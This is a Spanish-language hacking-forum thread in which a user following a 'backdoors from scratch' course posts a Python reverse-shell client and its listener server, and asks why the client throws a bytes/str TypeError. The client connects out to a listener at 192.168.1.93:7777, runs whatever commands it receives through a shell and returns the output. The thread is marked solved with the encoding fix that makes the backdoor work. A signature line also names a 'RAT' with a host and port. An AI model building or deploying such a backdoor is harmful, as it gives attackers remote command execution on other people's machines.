[SOLUCIONADO] Problemas con import socket en Python 3.8.5

  • 0 Respuestas
  • 139 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado z0mb1es

  • *
  • Underc0der
  • Mensajes: 30
  • Actividad:
    3.33%
  • Reputación 0
  • recién salido de anonops.
    • Ver Perfil
Hola camaradas, les vengo con un hilo pidiendo un poco de ayuda.

Ayer comencé con un curso de creación de backdoors desde cero usando Python y SOCKET como servidor y cliente. El servidor funciona de maravilla, pero tengo algunos problemas con el cliente.

Código: Python
  1. #!/usr/bin/python3
  2. # _*_ coding: utf8 _*_
  3.  
  4. import socket
  5. import subprocess
  6. import os
  7.  
  8. def shell():
  9.     current_dir = os.getcwd()
  10.     client.send(current_dir)
  11.     while True:
  12.         res = client.recv(1024)
  13.         if res == "exit":
  14.             break
  15.         else:
  16.             proc = subprocess.Popen(res, shell = True, stdout = subprocess.PIPE,
  17.                     stderr = subprocess.PIPE, stdin = subprocess.PIPE)
  18.             result = proc.stdout.read() + proc.stderr.read()
  19.             client.send(result)
  20.  
  21. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22. client.connect(("192.168.1.93", 7777))
  23. shell()
  24. client.close()

Verán que estoy usando el socket AF_INET para establecer la conexión entre client-server. El código así, en teoría y respecto al curso que estoy viendo y leyendo, debería funcionar. Pero no. El error es al intentar establecer la conexión desde el cliente, el cuál da un error en la línea 23 (donde se ejecuta la función que crea la shell dentro del servidor) y dentro de la misma función en la línea 10 donde el objeto client() usa .send(current_dir) para enviar al servidor la conexión. Cuando cambio client.send(current_dir) a un print(current_dir) me muestra mi pwd (obviamente, ya que os.cwd es un 'p'rint'w'orking'd'irectory). Sin más dilaciones les muestro el error que me da Python:

Código: Python
  1. Traceback (most recent call last):
  2.   File "client.py", line 25, in <module>
  3.     shell()
  4.   File "client.py", line 12, in shell
  5.     client.send(current_dir)
  6. TypeError: a bytes-like object is required, not 'str'
  7.  

Y por si las dudas, también el código del servidor:

Código: Python
  1. #!/usr/bin/python3
  2. #_*_ coding: utf8 _*_
  3.  
  4. import socket
  5.  
  6. def shell():
  7.     current_dir = target.recv(1024)
  8.     while True:
  9.         command = input("{}/".format(current_dir))
  10.         if command == "exit":
  11.             target.send(command)
  12.             break;
  13.         else:
  14.             target.send(command)
  15.             res = target.recv(1024)
  16.             print(res)
  17.  
  18. def aliveServer():
  19.     global server
  20.     global ip
  21.     global target
  22.  
  23.     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24.     server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  25.     server.bind(('192.168.1.93', 7777))
  26.     server.listen(1)
  27.     print("Listening in 192.168.1.106")
  28.     target, ip = server.accept()
  29.     print("Connection received in " + str(ip[0]))
  30.  
  31. aliveServer()
  32. server.close()
  33.  

También, estoy usando Arch Linux. Intenté hacer que el server-client funcionara entre una máquina Windows que tengo por aquí y mi Arch: no funcionó. Intenté hacerlo funcionar solamente dentro de mi máquina Windows: no funcionó. Pensé que quizás AF_INET no era el tipo de socket necesario para trabajar con máquinas *nix, por lo que intenté usar el socket AF_UNIX: resulta que este socket no crea conexiones entre máquinas, sino que entre aplicaciones dentro de máquinas o algo así, no entendí muy bien, pero el que necesito es AF_INET.

Por cierto:

Otra cosilla que puede ser un problema: el curso que estoy viendo y leyendo está escrito en Python 2.7, por lo cual he ido adaptándo el código a 3.8.5. Si el error es mío, por favor, díganme cual es para así solucionarlo.

Saludos.

[SOLUCIONADO]

tr0n por Discord me dijo que usara encode('utf8') dentro del command, y pues sirvió de maravilla.
« Última modificación: Septiembre 11, 2020, 12:05:42 am por Gabriela »
Public Yy As String = "\z0mb1es RAT\."
         Public HOST As String = "101.110.010.111"
              Public port As Integer = 8989
                                    Public cap As New CRDP

 

[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 27638
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 14790
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 12433
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 18726
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 9460
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made